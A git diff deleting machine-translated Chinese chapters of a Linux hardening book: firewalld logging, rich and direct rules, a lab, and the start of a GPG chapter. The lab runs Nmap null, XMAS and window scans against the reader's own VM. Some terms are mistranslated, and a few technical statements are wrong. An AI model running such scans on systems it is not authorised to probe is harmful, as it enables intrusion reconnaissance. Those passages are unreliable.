-它不是,所以让我们打开它并再次检查状态: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --set-log-denied=all -success -[donnie@localhost ~]$ sudo firewall-cmd --get-log-denied -all -[donnie@localhost ~]$ -``` - -我们已经设置好记录所有被拒绝的数据包。然而,你可能并不总是想要这样。您的其他选择如下: - -* `unicast` -* `broadcast` -* `multicast` - -例如,如果您只想记录发往多播地址的被阻止的数据包,请执行以下操作: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --set-log-denied=multicast -[sudo] password for donnie: -success -[donnie@localhost ~]$ sudo firewall-cmd --get-log-denied -multicast -[donnie@localhost ~]$ -``` - -到目前为止,我们刚刚设置了运行时配置,一旦我们重新启动机器,它就会消失。为了使这个永久化,我们可以使用任何我们已经使用过的方法。现在,让我们这样做: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --runtime-to-permanent -success -[donnie@localhost ~]$ -``` - -与我们在 Debian/Ubuntu 发行版中看到的不同,我们的数据包拒绝消息没有单独的`kern.log`文件。相反,RHEL 类型的发行版将拒绝数据包的消息记录在`/var/log/messages`文件中,这是 RHEL 世界的主要日志文件。已经定义了几个不同的消息标签,这将更容易审计日志中丢失的数据包。例如,这里有一条消息告诉我们被阻止的广播数据包: - -```sh -Aug 20 14:57:21 localhost kernel: FINAL_REJECT: IN=enp0s3 OUT= MAC=ff:ff:ff:ff:ff:ff:00:1f:29:02:0d:5f:08:00 SRC=192.168.0.225 DST=255.255.255.255 LEN=140 TOS=0x00 PREC=0x00 - TTL=64 ID=62867 DF PROTO=UDP SPT=21327 DPT=21327 LEN=120 -``` - -标签是`FINAL_REJECT`,它告诉我们这个消息是由在我们输入链末端的包罗万象的最终`REJECT`规则创建的。`DST=255.255.255.255`部分告诉我们这是一个广播信息。 - -这里还有一个例子,我对这台机器进行了一次 Nmap 空扫描: - -```sh -sudo nmap -sN 192.168.0.8 - -Aug 20 15:06:15 localhost kernel: STATE_INVALID_DROP: IN=enp0s3 OUT= MAC=08:00:27:10:66:1c:00:1f:29:02:0d:5f:08:00 SRC=192.168.0.225 DST=192.168.0.8 LEN=40 TOS=0x00 PREC=0x00 TTL=42 ID=27451 PROTO=TCP SPT=46294 DPT=23 WINDOW=1024 RES=0x00 URGP=0 -``` - -在这种情况下,我触发了阻止`INVALID`数据包的规则,如`STATE_INVALID_DROP`标签所示。 - -所以,现在你说,但是等等。我们刚刚测试的这两个规则在我们目前看到的 firewalld 配置文件中找不到。什么给的?你是对的。这些默认的、预先配置的规则的位置显然是红帽人想要对我们隐藏的。然而,在以下针对 RHEL/CentOS 7 和 RHEL/CentOS 8 的部分中,我们会破坏它们的乐趣,因为我可以告诉你这些规则在哪里。 - -# 使用防火墙丰富的语言规则 - -到目前为止,我们所看到的可能是您在一般使用场景中所需要的全部内容,但是为了进行更精细的控制,您需要了解丰富的语言规则。(是的,他们真的是这么叫的。) - -与 iptables 规则相比,丰富的语言规则不那么神秘,更接近普通英语。因此,如果您是编写防火墙规则的新手,您可能会发现丰富的语言更容易学习。另一方面,如果你已经习惯于编写 iptables 规则,你可能会发现富语言的一些元素有点古怪。让我们看一个例子: - -```sh -sudo firewall-cmd --add-rich-rule='rule family="ipv4" source address="200.192.0.0/24" service name="http" drop' -``` - -在这里,我们添加了一个丰富的规则,阻止从 IPv4 地址的整个地理区块的网站访问。请注意,整个规则由一对单引号包围,每个参数的赋值由一对双引号包围。有了这个规则,我们就说我们在使用 IPv4,我们想静默地阻止`http`端口接受来自`200.192.0.0/24`网络的数据包。我们没有使用`--permanent`选项,因此当我们重新启动机器时,该规则将消失。让我们看看我们的区域在新规则下是什么样子: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=dmz - dmz (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh http https - ports: 10000/tcp 636/tcp 637/tcp 638/udp -. . . -. . . - rich rules: - rule family="ipv4" source address="200.192.0.0/24" service name="http" - drop - [donnie@localhost ~]$ -``` - -富人规则显示在底部。在我们测试了这条规则以确保它能做我们需要它做的事情之后,我们将使它永久存在: - -```sh - sudo firewall-cmd --runtime-to-permanent -``` - -您可以通过将`family="ipv4"`替换为`family="ipv6"`并提供适当的 IPv6 地址范围来轻松编写 IPv6 规则。 - -有些规则是通用的,适用于 IPv4 或 IPv6。假设我们想要记录关于 IPv4 和 IPv6 的**网络时间协议** ( **NTP** )数据包的消息,并且我们想要每分钟记录不超过一条消息。创建该规则的命令如下所示: - -```sh -sudo firewall-cmd --add-rich-rule='rule service name="ntp" audit limit value="1/m" accept' -``` - -当然,丰富的语言规则比我们在这里展示的要多得多。但是现在,你知道最基本的。有关更多信息,请参考手册页: - -```sh -man firewalld.richlanguage -``` - -If you go to the official documentation page for Red Hat Enterprise Linux 8, you'll see no mention of rich rules. However, I've just tested them on an RHEL 8-type machine and they work fine. - -To read about rich rules, you'll need to go to the documentation page for Red Hat Enterprise Linux 7\. What's there also applies to RHEL 8\. But even there, there's not much detail. To find out more, see the man page on either RHEL/CentOS 7 or RHEL/CentOS 8. - -要使规则永久化,只需使用我们已经讨论过的任何方法。当您这样做时,该规则将显示在默认区域的`.xml`文件中。在我的情况下,默认区域仍然设置为公共。那么,让我们看看`/etc/firewalld/zones/public.xml`文件: - -```sh - - - Public - For use in public areas. You do not trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted. - - - - - - - - - -``` - -我们丰富的规则显示在文件底部的`rule family`块中。 - -现在,我们已经介绍了 firewalld 的 RHEL/CentOS 7 和 RHEL/CentOS 8 版本之间的共同点,让我们看看每个不同版本的独特之处。 - -# 查看 RHEL/CentOS 7 防火墙中的 iptables 规则 - -RHEL 7 及其后代使用 iptables 引擎作为防火墙后端。您不能使用普通的 iptables 命令创建规则。但是,每次使用 firewall-cmd 命令创建规则时,iptables 后端都会创建适当的 iptables 规则,并将其插入适当的位置。您可以使用`iptables -L`查看活动规则。这是一个很长的输出的第一部分: - -```sh -[donnie@localhost ~]$ sudo iptables -L -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED -ACCEPT all -- anywhere anywhere -INPUT_direct all -- anywhere anywhere -INPUT_ZONES_SOURCE all -- anywhere anywhere -INPUT_ZONES all -- anywhere anywhere -DROP all -- anywhere anywhere ctstate INVALID -REJECT all -- anywhere anywhere reject-with icmp-host-prohibited - -``` - -就像 Ubuntu 上的 ufw 一样,已经为我们配置了很多。在顶部的`INPUT`链中,我们可以看到连接状态规则和阻止无效数据包的规则已经存在。该链的默认策略是`ACCEPT`,但是该链的最终规则被设置为`REJECT`,这是不允许的。在这两者之间,我们可以看到将其他数据包定向到其他链进行处理的规则。现在,让我们看看下一部分: - -```sh - -Chain IN_public_allow (1 references) -target prot opt source destination -ACCEPT tcp -- anywhere anywhere tcp dpt:ssh ctstate NEW -ACCEPT tcp -- anywhere anywhere tcp dpt:domain ctstate NEW -ACCEPT udp -- anywhere anywhere udp dpt:domain ctstate NEW - -Chain IN_public_deny (1 references) -target prot opt source destination -REJECT icmp -- anywhere anywhere icmp host-redirect reject-with icmp-host-prohibited - -``` - -在很长的输出的底部,我们可以看到`IN_public_allow`链,它包含我们为打开防火墙端口创建的规则。紧挨着它的是`IN_public_deny`链,它包含了`REJECT`规则来阻止不需要的 ICMP 类型。在`INPUT`链和`IN_public_deny`链中,`REJECT`规则都会返回一条 ICMP 消息,通知发送方数据包被阻止。 - -现在,记住有很多这个`IPTABLES -L`输出我们没有显示。所以,你自己看看,看看有什么。当你这样做的时候,你可能会问自己,*这些默认规则存储在哪里?为什么我没有在* `/etc/firewalld` *目录中看到它们?* - -为了回答这个问题,我不得不做一些相当广泛的调查。出于某种真正奇怪的原因,红帽人完全没有记录这一点。我终于在`/usr/lib/python2.7/site-packages/firewall/core/`目录中找到了答案。这里有一组设置初始默认防火墙的 Python 脚本: - -```sh -[donnie@localhost core]$ ls -base.py fw_config.pyc fw_helper.pyo fw_ipset.py fw_policies.pyc fw_service.pyo fw_zone.py icmp.pyc ipset.pyc logger.pyo rich.py base.pyc fw_config.pyo fw_icmptype.py fw_ipset.pyc fw_policies.pyo fw_test.py fw_zone.pyc icmp.pyo ipset.pyo modules.py rich.pyc base.pyo fw_direct.py fw_icmptype.pyc fw_ipset.pyo fw.py fw_test.pyc fw_zone.pyo __init__.py ipXtables.py modules.pyc rich.pyo ebtables.py fw_direct.pyc fw_icmptype.pyo fw_nm.py fw.pyc fw_test.pyo helper.py __init__.pyc ipXtables.pyc modules.pyo watcher.py ebtables.pyc fw_direct.pyo fw_ifcfg.py fw_nm.pyc fw.pyo fw_transaction.py helper.pyc __init__.pyo ipXtables.pyo prog.py watcher.pyc ebtables.pyo fw_helper.py fw_ifcfg.pyc fw_nm.pyo fw_service.py fw_transaction.pyc helper.pyo io logger.py prog.pyc watcher.pyo fw_config.py fw_helper.pyc fw_ifcfg.pyo fw_policies.py fw_service.pyc fw_transaction.pyo icmp.py ipset.py logger.pyc prog.pyo -[donnie@localhost core]$ -``` - -完成大部分工作的剧本是`ipXtables.py`剧本。如果您查看它,您会看到它的 iptables 命令列表与`iptables -L`输出相匹配。 - -# 在 RHEL/CentOS 7 防火墙中创建直接规则 - -正如我们所见,每当我们在 RHEL/CentOS 7 上使用正常的`firewall-cmd`命令做任何事情时,firewalld 都会自动将这些命令翻译成 iptables 规则,并将它们插入适当的位置(或者,如果您已经发出了某种删除命令,它会删除这些规则)。然而,有些事情我们不能用普通的 firewalld-cmd 命令来完成。例如,我们不能使用普通的 firewall-cmd 命令将规则放在特定的 iptables 链或表中。为了做到这一点,我们需要使用直接的配置命令。 - -`firewalld.direct`手册页和红帽网站上的文档都警告您,只有在其他方法都不起作用时,才使用直接配置作为绝对的最后手段。这是因为,与普通的防火墙-cmd 命令不同,直接命令不会自动将新规则放入适当的位置,以便一切正常工作。使用直接命令,您可以通过在错误的位置放置规则来破坏整个防火墙。 - -在上一节的输出示例中,在默认规则集中,您看到过滤器表的`INPUT`链中有一个阻止无效数据包的规则。在*用 iptables* 阻止无效数据包部分,您可以看到此规则会遗漏某些类型的无效数据包。因此,我们想添加第二条规则来阻止第一条规则遗漏的内容。我们还希望将这些规则放入破坏表的`PREROUTING`链中,以增强防火墙性能。为此,我们需要创建一些直接的规则。(如果您熟悉正常的 iptables 语法,这并不难。)那么,让我们开始吧。 - -首先,让我们验证我们没有任何有效的直接规则,比如: - -```sh -sudo firewall-cmd --direct --get-rules ipv4 mangle PREROUTING -sudo firewall-cmd --direct --get-rules ipv6 mangle PREROUTING -``` - -这两个命令都不会有输出。现在,让我们用以下四个命令为 IPv4 和 IPv6 添加两个新规则: - -```sh -sudo firewall-cmd --direct --add-rule ipv4 mangle PREROUTING 0 -m conntrack --ctstate INVALID -j DROP - -sudo firewall-cmd --direct --add-rule ipv4 mangle PREROUTING 1 -p tcp ! --syn -m conntrack --ctstate NEW -j DROP - -sudo firewall-cmd --direct --add-rule ipv6 mangle PREROUTING 0 -m conntrack --ctstate INVALID -j DROP - -sudo firewall-cmd --direct --add-rule ipv6 mangle PREROUTING 1 -p tcp ! --syn -m conntrack --ctstate NEW -j DROP - -``` - -`direct`命令语法与普通 iptables 命令非常相似。因此,我不会重复我已经在 iptables 部分介绍过的解释。然而,我确实想指出每个命令中`0`和`PREROUTING`之后的`1`。那些代表规则的优先权。数字越小,优先级越高,规则在链中的位置越高。因此,`0`优先级的规则是各自链中的第一规则,而`1`优先级的规则是各自链中的第二规则。如果为您创建的每个规则赋予相同的优先级,则不能保证在每次重新启动时顺序保持不变。所以,一定要给每个规则分配不同的优先级。 - -现在,让我们验证我们的规则是否有效: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --direct --get-rules ipv4 mangle PREROUTING -0 -m conntrack --ctstate INVALID -j DROP - -1 -p tcp '!' --syn -m conntrack --ctstate NEW -j DROP -[donnie@localhost ~]$ sudo firewall-cmd --direct --get-rules ipv6 mangle PREROUTING -0 -m conntrack --ctstate INVALID -j DROP - -1 -p tcp '!' --syn -m conntrack --ctstate NEW -j DROP -[donnie@localhost ~]$ -``` - -我们可以看到他们是。当你使用`iptables -t mangle -L`命令和`ip6tables -t mangle -L`命令时,你会看到规则出现在`PREROUTING_direct`链中(我只显示一次输出,因为两个命令都一样): - -```sh -. . . -. . . -Chain PREROUTING_direct (1 references) -target prot opt source destination -DROP all -- anywhere anywhere ctstate INVALID -DROP tcp -- anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW -. . . -. . . -``` - -为了说明它的工作原理,我们可以对虚拟机执行一些 Nmap 扫描,就像我在*用 iptables* 阻止无效数据包部分向您展示的那样。(如果你不记得怎么做,不要烦恼。您将在即将到来的实践实验室中看到该过程。)然后,我们可以使用`sudo iptables -t mangle -L -v`和`sudo ip6tables -t mangle -L -v`来查看这两个规则阻塞的数据包和字节。 - -我们没有在这些命令中使用`--permanent`选项,所以它们还不是永久的。现在让我们将它们永久化: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --runtime-to-permanent -[sudo] password for donnie: -success -[donnie@localhost ~]$ -``` - -现在,我们来看看`/etc/firewalld`目录。在这里,你会看到一个以前没有的`direct.xml`文件: - -```sh -[donnie@localhost ~]$ sudo ls -l /etc/firewalld -total 20 --rw-r--r--. 1 root root 532 Aug 26 13:17 direct.xml -. . . -. . . -[donnie@localhost ~]$ -``` - -查看文件内部;你会看到新的规则: - -```sh - - - -m conntrack --ctstate INVALID -j DROP - - -p tcp '!' --syn -m conntrack --ctstate NEW -j DROP - - -m conntrack --ctstate INVALID -j DROP - - -p tcp '!' --syn -m conntrack --ctstate NEW -j DROP - - - -``` - -官方的红帽 7 文档页面确实包含了直接的规则,但只是简短的。有关更多详细信息,请参见`firewalld.direct`手册页。 - -# 查看 RHEL/CentOS 8 防火墙中的 nftables 规则 - -RHEL 8 及其后代使用 nftables 作为默认防火墙后端。每次使用`firewall-cmd`命令创建规则时,都会创建适当的 nftables 规则并将其插入适当的位置。为了查看当前有效的规则集,我们将使用与在 Ubuntu 上使用 nftables 相同的 nft 命令: - -```sh -[donnie@localhost ~]$ sudo nft list ruleset -. . . -. . . -table ip firewalld { - chain nat_PREROUTING { - type nat hook prerouting priority -90; policy accept; - jump nat_PREROUTING_ZONES_SOURCE - jump nat_PREROUTING_ZONES - } - - chain nat_PREROUTING_ZONES_SOURCE { - } -. . . -. . . -[donnie@localhost ~]$ -``` - -同样,我们可以看到一个非常长的默认预配置防火墙规则列表。(要查看整个列表,请自己运行命令。)你会在`/usr/lib/python3.6/site-packages/firewall/core/nftables.py`脚本中找到这些默认规则,每次开机都会运行。 - -# 在 RHEL/CentOS 8 防火墙中创建直接规则 - -在这一章的开始,我告诉过你,由于 RHEL 7/CentOS 7 和 RHEL 8/CentOS 8 之间的差异,firewalld 可能会有点混乱。但是事情变得非常奇怪。即使直接规则命令创建 iptables 规则,RHEL 8/CentOS 8 使用 nftables 作为 firewalld 后端,您仍然可以创建直接规则。就像在 RHEL/CentOS 7 防火墙部分创建直接规则一样,创建并验证它们。显然,firewalld 允许这些 iptables 规则与 nftables 规则和平共处。但是,如果您需要在生产系统上这样做,请确保在投入生产之前彻底测试您的设置。 - -红帽 8 文档中没有这方面的内容,但是如果您想了解更多信息,可以查看`firewalld.direct`手册页。 - -# 防火墙命令的实践实验室 - -通过完成本实验,您将获得一些基本 firewalld 命令的练习: - -1. 登录到您的 CentOS 7 或 CentOS 8 虚拟机,并运行以下命令。观察每一个之后的输出: - -```sh - sudo firewall-cmd --get-zones - sudo firewall-cmd --get-default-zone - sudo firewall-cmd --get-active-zones -``` - -2. 简要查看涉及`firewalld.zones`的手册页: - -```sh - man firewalld.zones - man firewalld.zone -``` - -(是的,有两个。一个解释区域配置文件,而另一个解释区域本身。) - -3. 查看所有可用区域的配置信息: - -```sh -sudo firewall-cmd --list-all-zones -``` - -4. 查看预定义服务的列表。然后,查看`dropbox-lansync`服务的信息: - -```sh - sudo firewall-cmd --get-services - sudo firewall-cmd --info-service=dropbox-lansync -``` - -5. 将默认区域设置为`dmz`。查看`zon`相关信息,添加`http`和`https`服务,然后再次查看`zone`信息: - -```sh - sudo firewall-cmd --permanent --set-default-zone=dmz - sudo firewall-cmd --permanent --add-service={http,https} - sudo firewall-cmd --info-zone=dmz - sudo firewall-cmd --permanent --info-zone=dmz -``` - -6. 重新加载`firewall`配置,再次查看`zone`信息。另外,查看允许的服务列表: - -```sh - sudo firewall-cmd --reload - sudo firewall-cmd --info-zone=dmz - sudo firewall-cmd --list-services -``` - -7. 永久打开端口`10000/tcp`并查看结果: - -```sh - sudo firewall-cmd --permanent --add-port=10000/tcp - sudo firewall-cmd --list-ports - sudo firewall-cmd --reload - sudo firewall-cmd --list-ports - sudo firewall-cmd --info-zone=dmz -``` - -8. 删除您刚刚添加的端口: - -```sh - sudo firewall-cmd --permanent --remove-port=10000/tcp - sudo firewall-cmd --reload - sudo firewall-cmd --list-ports - sudo firewall-cmd --info-zone=dmz -``` - -9. 添加丰富的语言规则来阻止 IPv4 地址的地理范围: - -```sh -sudo firewall-cmd --add-rich-rule='rule family="ipv4" source address="200.192.0.0/24" service name="http" drop' -``` - -10. 阻止`host-redirect`和`network-redirect` ICMP 类型: - -```sh -sudo firewall-cmd --add-icmp-block={host-redirect,network-redirect} -``` - -11. 添加指令以记录所有丢弃的数据包: - -```sh -sudo firewall-cmd --set-log-denied=all -``` - -12. 查看`runtime`和`permanent`配置,并注意它们之间的区别: - -```sh -sudo firewall-cmd --info-zone=public -sudo firewall-cmd --info-zone=public --permanent -``` - -13. 进行`runtime`配置`permanent`并验证其生效: - -```sh -sudo firewall-cmd --runtime-to-permanent -sudo firewall-cmd --info-zone=public --permanent -``` - -14. 在 CentOS 7 上,您可以使用以下命令查看有效防火墙规则的完整列表: - -```sh -sudo iptables -L -``` - -15. 在 CentOS 8 上,您可以使用以下命令查看有效防火墙规则的完整列表: - -```sh -sudo nft list ruleset -``` - -16. 创建`direct`规则,以阻止来自破坏表的`PREROUTING`链的无效数据包: - -```sh -sudo firewall-cmd --direct --add-rule ipv4 mangle PREROUTING 0 -m conntrack --ctstate INVALID -j DROP - -sudo firewall-cmd --direct --add-rule ipv4 mangle PREROUTING 1 -p tcp ! --syn -m conntrack --ctstate NEW -j DROP - -sudo firewall-cmd --direct --add-rule ipv6 mangle PREROUTING 0 -m conntrack --ctstate INVALID -j DROP - -sudo firewall-cmd --direct --add-rule ipv6 mangle PREROUTING 1 -p tcp ! --syn -m conntrack --ctstate NEW -j DROP -``` - -17. 验证`rules`生效,并使其成为`permanent`: - -```sh -sudo firewall-cmd --direct --get-rules ipv4 mangle PREROUTING -sudo firewall-cmd --direct --get-rules ipv6 mangle PREROUTING -sudo firewall-cmd --runtime-to-permanent -``` - -18. 查看您刚刚创建的`direct.xml`文件的内容: - -```sh -sudo less /etc/firewalld/direct.xml -``` - -19. 针对虚拟机对 IPv4 和 IPv6 执行 XMAS Nmap 扫描。然后,观察扫描触发了哪个规则: - -```sh -sudo nmap -sX ipv4_address_of_CentOS-VM -sudo nmap -6 -sX ipv6_address_of_CentOS-VM -sudo iptables -t mangle -L -v -sudo ip6tables -t mangle -L -v -``` - -20. 重复*步骤 19* ,但这次使用的是窗口扫描: - -```sh -sudo nmap -sW ipv4_address_of_CentOS-VM -sudo nmap -6 -sW ipv6_address_of_CentOS-VM -sudo iptables -t mangle -L -v -sudo ip6tables -t mangle -L -v -``` - -21. 查看 firewalld 的主页列表: - -```sh -apropos firewall -``` - -实验到此结束,祝贺你! - -# 摘要 - -在这一章中,我们看了最新的 Linux 防火墙技术 nftables。然后,我们看了 firewalld,它曾经是专门针对红帽类型发行版的,但现在也在 Ubuntu 存储库中可用。 - -在分配给我的篇幅中,我介绍了使用这些技术设置单主机保护的基础知识。我还展示了一些关于 firewalld 内部的细节,这些细节在其他地方是找不到的,包括在红帽官方文档中。 - -在下一章中,我们将了解有助于保护您的数据隐私的各种加密技术。到时候见。 - -# 问题 - -1. 您会使用哪个 nftables 命令来查看特定规则丢弃了多少数据包? -2. RHEL 7 上的防火墙和 RHEL 8 上的防火墙有什么主要区别? -3. 哪个防火墙系统自动加载规则? -4. firewalld 以下列哪种格式存储规则? - a .`.txt`T5】b .`.config`T6】c .`.html`T7】d .`.xml` -5. 您会使用哪个 nft 命令将一个规则置于另一个规则之前? - a .`insert`T5】b .`add`T6】c .`place`T7】d .`position` -6. 您会使用以下哪个命令来列出系统上的所有防火墙区域? - a .`sudo firewalld --get-zones`T5】b .`sudo firewall-cmd --list-zones`T6】c .`sudo firewall-cmd --get-zones`T7】d .`sudo firewalld --list-zones` -7. 以下关于 nftables 的陈述中,哪一项是错误的? - A .有了 nftables,规则被自动添加。 - B .对于 nftables,表指的是特定的协议家族。 - C .通过 nftables,端口及其相关规则被捆绑到区域中。 - D .使用 nftables,您可以用普通的 bash shell 脚本编写脚本,也可以用内置于 nftables 中的脚本引擎编写脚本。 -8. 您的系统设置了防火墙,您需要打开端口`10000/tcp`。您会使用以下哪个命令? - a .`sudo firewall-cmd --add-port=10000/tcp` - b .`sudo firewall-cmd --add-port=10000` - c .`sudo firewalld --add-port=10000` - d .`sudo firewalld --add-port=10000/tcp` - -# 进一步阅读 - -* nfable wiki:https://wiki . nfable . org/wiki-nfable/index . PHP/main _ page -* RHEL 7 的防火墙文档:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/7/html/security _ guide/sec-use _ firewall](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-using_firewalls) -* RHEL 防火墙文档 8:[https://access . RedHat . com/documents/en-us/red _ hat _ enterprise _ Linux/8/html/secure _ networks/使用和配置防火墙 _ secure-networks](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/securing_networks/using-and-configuring-firewalls_securing-networks) -* 防火墙主页:[https://firewalld.org/](https://firewalld.org/) -* nftables 示例:[https://wiki.gentoo.org/wiki/Nftables/Examples](https://wiki.gentoo.org/wiki/Nftables/Examples) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/05.md b/docs/master-linux-sec-hard/05.md deleted file mode 100644 index 5566594a..00000000 --- a/docs/master-linux-sec-hard/05.md +++ /dev/null @@ -1,1746 +0,0 @@ -# 五、加密技术 - -你可能为一个超级秘密的政府机构工作,或者你可能只是一个普通的乔或简公民。不管怎样,你仍然有敏感的数据需要保护,以免被人窥探。商业秘密、政府秘密、个人秘密——没关系;这一切都需要保护。用限制性权限设置锁定用户主目录,正如我们在 *[第 2 章](02.html)中看到的,保护用户账户*只是难题的一部分;我们还需要加密。这种加密将为我们提供三样东西: - -* **保密性**:这样可以保证只有被授权查看数据的人才能看到。 -* **完整性**:这保证了原始数据没有被未经授权的人篡改。 -* **可用性**:这样可以保证敏感数据始终可用,不会被未经授权的人删除。 - -我们将在本章中看到的两种一般类型的数据加密旨在保护静态数据和传输中的数据。我们将从使用文件、分区和目录加密来保护静态数据开始。我们将以使用 OpenSSL 保护传输中的数据为结尾。 - -在本章中,我们将涵盖以下主题: - -* **GNU 隐私卫士** ( **GPG** ) -* 使用 **Linux 统一密钥设置** ( **LUKS** )加密分区 -* 用加密文件加密目录 -* 使用 VeraCrypt 实现加密容器的跨平台共享 -* 开放 SSL 和公钥基础设施 -* 商业认证机构 -* 创建密钥、证书请求和证书 -* 创建内部证书颁发机构 -* 向操作系统添加证书颁发机构 - -* OpenSSL 和 Apache 网络服务器 -* 设置相互身份验证 - -# GNU 隐私保护(GPG) - -我们先从 **GNU 隐私卫士** ( **GPG** )说起。这是菲尔·齐默曼在 1991 年创作的《相当好的隐私》的免费开源实现。您可以使用它们中的任何一个来加密或加密签名文件或消息。在这一部分,我们将严格关注 GPG。 - -使用 GPG 有一些优势: - -* 它使用强大的,难以破解的加密算法。 -* 它使用私钥/公钥方案,这消除了以安全方式将密码传输给消息或文件接收者的需要。相反,只需发送您的公钥,这对除预期收件人以外的任何人都没用。 -* 您可以使用 GPG 加密自己的文件供自己使用,就像您使用任何其他加密工具一样。 -* 它可以用来加密电子邮件,使您能够对敏感电子邮件进行真正的端到端加密。 -* 有一些图形用户界面类型的前端可以使它更容易使用。 - -但是,你可能知道,也有一些缺点: - -* 当您只直接与您绝对信任的人一起工作时,使用公钥而不是密码是非常好的。但是除此之外的任何事情,例如向普通大众分发公钥,以便每个人都可以验证您的签名消息,您都依赖于一个很难建立的信任网络模型。 -* 对于电子邮件的端到端加密,您的电子邮件的收件人还必须在他们的系统上安装 GPG 并知道如何使用它。这在公司环境中可能行得通,但要让你的朋友们建立这种关系,还是很幸运的。(我从未成功让别人设置电子邮件加密。) -* 如果你使用一个独立的电子邮件客户端,比如 Mozilla Thunderbird,你可以安装一个插件来自动加密和解密信息。但是每次发布新的雷鸟更新时,插件都会崩溃,并且总是需要一段时间才能发布新的工作版本。 - -尽管有许多缺点,GPG 仍然是共享加密文件和电子邮件的最佳方式之一。GPG 预装在 Ubuntu 服务器和 CentOS 上。因此,您可以使用任何一台虚拟机进行这些演示。 - -# 动手实验室–创建您的 GPG 钥匙 - -首先你需要知道的是如何创建你的 GPG 键。我们现在就开始吧: - -1. 创建您的一对 GPG 钥匙: - -```sh -gpg --gen-key -``` - -Note that, since you're setting this up for yourself, you don't need sudo privileges. - -这个命令的输出太长,无法一次显示所有内容,所以我将显示它的相关部分,并分解它们的含义。 - -这个命令做的第一件事是在你的`home`目录中创建一个填充的`.gnupg`目录: - -```sh -gpg: directory `/home/donnie/.gnupg' created -gpg: new configuration file `/home/donnie/.gnupg/gpg.conf' created -gpg: WARNING: options in `/home/donnie/.gnupg/gpg.conf' are not yet active during this run -gpg: keyring `/home/donnie/.gnupg/secring.gpg' created -gpg: keyring `/home/donnie/.gnupg/pubring.gpg' created -``` - -然后你会被要求选择你想要的钥匙种类。我们只使用默认的`RSA and RSA`。RSA 密钥比旧的 DSA 密钥更强、更难破解。Elgamal 密钥很好,但旧版本的 GPG 可能不支持它们: - -```sh -Please select what kind of key you want: - (1) RSA and RSA (default) - (2) DSA and Elgamal - (3) DSA (sign only) - (4) RSA (sign only) -Your selection? -``` - -对于适当的加密,您将希望使用至少 3072 位的密钥,因为任何较小的密钥现在都被认为是易受攻击的。(这是根据美国国家标准与技术研究所(NIST)的最新指导。)由于默认为 2,048 位,我们必须键入: - -```sh -RSA keys may be between 1024 and 4096 bits long. -What keysize do you want? (2048) 3072 -``` - -接下来,选择您希望密钥在自动过期之前保持有效的时间。出于我们的目的,我们将使用默认的`key does not expire`: - -```sh -Please specify how long the key should be valid. - 0 = key does not expire - = key expires in n days - w = key expires in n weeks - m = key expires in n months - y = key expires in n years -Key is valid for? (0) -``` - -提供您的个人信息: - -```sh -GnuPG needs to construct a user ID to identify your key. -Real name: Donald A. Tevault -Email address: donniet@something.net -Comment: No comment -You selected this USER-ID: - "Donald A. Tevault (No comment) " -Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? -Create a passphrase for your private key: -You need a Passphrase to protect your secret key. -We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. -``` - -这可能需要一段时间,即使你正在做所有推荐的事情来创造熵。要有耐心;它最终会结束。通过在另一个窗口中运行`sudo yum upgrade`,我创建了足够的熵,这样这个过程就不会花太长时间: - -```sh -gpg: /home/donnie/.gnupg/trustdb.gpg: trustdb created -gpg: key 19CAEC5B marked as ultimately trusted -public and secret key created and signed. -gpg: checking the trustdb -gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model -gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u -pub 2048R/19CAEC5B 2017-10-26 - Key fingerprint = 8DE5 8894 2E37 08C4 5B26 9164 C77C 6944 19CA EC5B -uid Donald A. Tevault (No comment) -sub 2048R/37582F29 2017-10-26 -``` - -2. 验证密钥是否已创建: - -```sh -[donnie@localhost ~]$ gpg --list-keys - /home/donnie/.gnupg/pubring.gpg - ------------------------------- - pub 2048R/19CAEC5B 2017-10-26 - uid Donald A. Tevault (No comment) - sub 2048R/37582F29 2017-10-26 - [donnie@localhost ~]$ -``` - -3. 在此过程中,请查看您创建的文件: - -```sh -[donnie@localhost ~]$ ls -l .gnupg - total 28 - -rw-------. 1 donnie donnie 7680 Oct 26 13:22 gpg.conf - drwx------. 2 donnie donnie 6 Oct 26 13:40 private-keys-v1.d - -rw-------. 1 donnie donnie 1208 Oct 26 13:45 pubring.gpg - -rw-------. 1 donnie donnie 1208 Oct 26 13:45 pubring.gpg~ - -rw-------. 1 donnie donnie 600 Oct 26 13:45 random_seed - -rw-------. 1 donnie donnie 2586 Oct 26 13:45 secring.gpg - srwxrwxr-x. 1 donnie donnie 0 Oct 26 13:40 S.gpg-agent - -rw-------. 1 donnie donnie 1280 Oct 26 13:45 trustdb.gpg - [donnie@localhost ~]$ -``` - -这些文件是您的公共和私有密钥环、您自己的`gpg.conf`文件、随机种子文件和可信用户数据库。 - -# 动手实验–对称加密您自己的文件 - -你可能会发现 GPG 对加密你自己的文件很有用,即使你从未打算与他人共享它们。为此,您将使用对称加密,这包括使用您自己的私钥进行加密。在尝试之前,您需要生成您的密钥,正如我在前面部分中概述的: - -Symmetric key encryption is, well, just that, symmetric. It's symmetric in the sense that the key that you would use to encrypt a file is the same key that you would use to decrypt the file. That's great for if you're just encrypting files for your own use. But if you need to share an encrypted file with someone else, you'll need to figure out a secure way to give that person the password. I mean, it's not like you'd want to just send the password in a plain-text email. - -1. 除了您自己的用户帐户,您还需要一个 Maggie 的用户帐户。立即为 CentOS 创建她的帐户: - -```sh -sudo useradd maggie -sudo passwd maggie -``` - 